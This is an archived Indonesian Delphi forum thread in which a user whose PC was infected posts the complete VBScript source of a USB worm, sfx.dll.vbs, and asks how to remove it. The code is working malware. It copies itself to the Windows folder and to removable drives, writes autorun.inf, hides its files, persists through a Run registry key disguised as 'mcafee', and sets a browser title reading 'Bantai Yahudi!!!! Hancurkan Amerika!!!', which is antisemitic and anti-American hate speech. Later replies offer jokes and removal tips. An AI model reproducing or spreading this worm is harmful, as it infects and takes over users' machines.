Arsip: Virus Atau Bukan...Yg Gue Bantai.....xixixixixi

 
user image
more 17 years ago

saysansay

Kutipan gamabr di atas daku screen dari PC ndiri gara2 Bro retina kumpieku jadi kena juga xixixixixixxi(yaya@retina dikau tak ikut dalam kasus ini) [vb:1:65574ecf32] on error resume next Rem 121206, do u still remember dis day us_3? Dim src, winpath, flashdrive, fs, mf, atr, tf, rg, nt, check, sd:atr = "[autorun]"&vbcrlf&"shellexecute=wscript.exe sfx.dll.vbs":Set fs = CreateObject("Scripting.FileSystemObject"): Set mf = fs.getfile(Wscript.ScriptFullname): Dim text, size: size = mf.size: check = mf.drive.drivetype: Set text = mf.openastextstream(1, -2) Do While Not text.atendofstream: src=src&text.readline: src = src & vbCrLf: Loop Do: Set winpath = fs.getspecialfolder(0): Set tf = fs.getfile(winpath & "\sfx.dll.vbs"): tf.Attributes = 32: Set tf = fs.createtextfile(winpath & "\sfx.dll.vbs", 2, True): tf.write src: tf.Close: Set tf = fs.getfile(winpath & "\sfx.dll.vbs"): tf.Attributes = 39 For Each flashdrive In fs.drives If (flashdrive.drivetype = 1 Or flashdrive.drivetype = 2) And flashdrive.Path <> "A:" Then: Set tf = fs.getfile(flashdrive.Path & "\sfx.dll.vbs"): tf.Attributes = 32: Set tf = fs.createtextfile(flashdrive.Path & "\sfx.dll.vbs", 2, True): tf.write src: tf.Close: Set tf = fs.getfile(flashdrive.Path & "\sfx.dll.vbs"): tf.Attributes = 39: Set tf = fs.getfile(flashdrive.Path & "\autorun.inf"): tf.Attributes = 32: Set tf = fs.createtextfile(flashdrive.Path & "\autorun.inf", 2, True): tf.write atr: tf.Close: Set tf = fs.getfile(flashdrive.Path & "\autorun.inf"): tf.Attributes = 39: End If Next Set rg = CreateObject("WScript.Shell"): rg.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\mcafee",winpath & "\sfx.dll.vbs": rg.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title", "Bantai Yahudi!!!! Hancurkan Amerika!!! [Bantai Axe gank dan antek2nya!!! SFX harus menang!!!!]": rg.regwrite "HKCR\vbsfile\DefaultIcon", "shell32.dll,2" If check <> 1 Then Wscript.sleep 200000 Loop While check <> 1: Set sd = CreateObject("Wscript.shell"): sd.run winpath & "\explorer.exe /e,/select, " & Wscript.ScriptFullname [/vb:1:65574ecf32] Xixixi Kebetulan Pernah Belajar Vb Script jadi sedikit apal tindak tanduknya.. Itulah Kutipan Hardcode Sang Pujangga SFX...xixixixi VBS...gara-gara BT sama window tile yang diambil alih sama dia....Virus atau apalah namanya udah bisa dihandle secara manual..tapi file induxnya masih hidden C:\WINDOWS\sfx.dll.vbs masih belum bisa daku hapus padahal udah tak coba harcode dengan delphi juga masih tetap ada! Terpaksa pake gaya purba kala menggunakan

 RenameFile('C:\WINDOWS\System32\wscript.exe','C:\WINDOWS\System32\wscript1.exe')
Tujuannya agar sfx.dll.vbs tidak bisa membuat aoutorun..xixixixixixi Gimana yah agar si sfx.dll.vbs ini bisa kehapus..daku msh belum ada solusi...
user image
more 17 years ago

yayaretina

xixixixixixiiiii.... kok subject ama posting beda ya..
@saysansay: Gimana yah agar si sfx.dll.vbs ini bisa kehapus..daku msh belum ada solusi...
hehehehehe... bawa2 nama gue lagi... @San masa' dah lupa sih yang gue kasih tahu kemaren [mode on belagu] hehehehe...
user image
more 17 years ago

imunk

wah payah nih si san.............. baru kemaren ku kasih tau masa sudah lupa, sia-sia dong aku sampe blemotan ngajarin dikau. mana gak dibayar lagi............ lupa ato emang dasarnya gak bisa sih........ payah.... payah..... belajar lagi sana..... gitu aja kok repot.
user image
more 17 years ago

deLogic

baca nih: http://www.astaufik.net/comments.php?y=07&m=11&entry=entry071127-131519
user image
more 17 years ago

yayaretina

xixixixi.... no comment aja dech...
user image
more 17 years ago

DelphiExpert

Ditinggal tidur dulu aja san... entar bangun tidur coba dihapus lagi, siapa tahu bisa... xixixi :mrgreen: ngosh... ngosh...
user image
more 17 years ago

Manz

yach ... gimana san ini .. kata om DE juga ditinggal tidur ajah ... kalo aku sih mendingan simpen kompienya didepan pagar ... pasti deh bisa dihapus .... :mrgreen: wakakakakakakakak
user image
more 17 years ago

ImanD

wakakkaka, san banyak cara u/ hapus file tersebut.... 1. boot dos command, Deleted! 2. install ulang windows 3. Format Drive 4. Low Level Format 5. FDisk skalian az.... xixiixix, dijamin kelar tuh file......
user image
more 17 years ago

Manz

satu lagi ... beli harddisk baru ... dijamin kelar sekali ... wakakakakaakakakaka :mrgreen:
user image
more 17 years ago

deLogic

huhehehehhehe.. pade gile semua.. inilah ajang meng-'habisi' si san.. :D
more ...
  • Pages:
  • 1
  • 2
  • 3
Share to

AI Forward

🚀 We're thrilled to partner with Alibaba Cloud for "AI Forward - Alibaba Cloud Global Developer Summit 2025" in Jakarta! Join us and explore the future of AI. Register now: https://int.alibabacloud.com/m/1000400772/
#AlibabaCloud #DeveloperSummit #Jakarta #AIFORWARD

Random Topic

Local Business Directory, Search Engine Submission & SEO Tools FreeWebSubmission.com SonicRun.com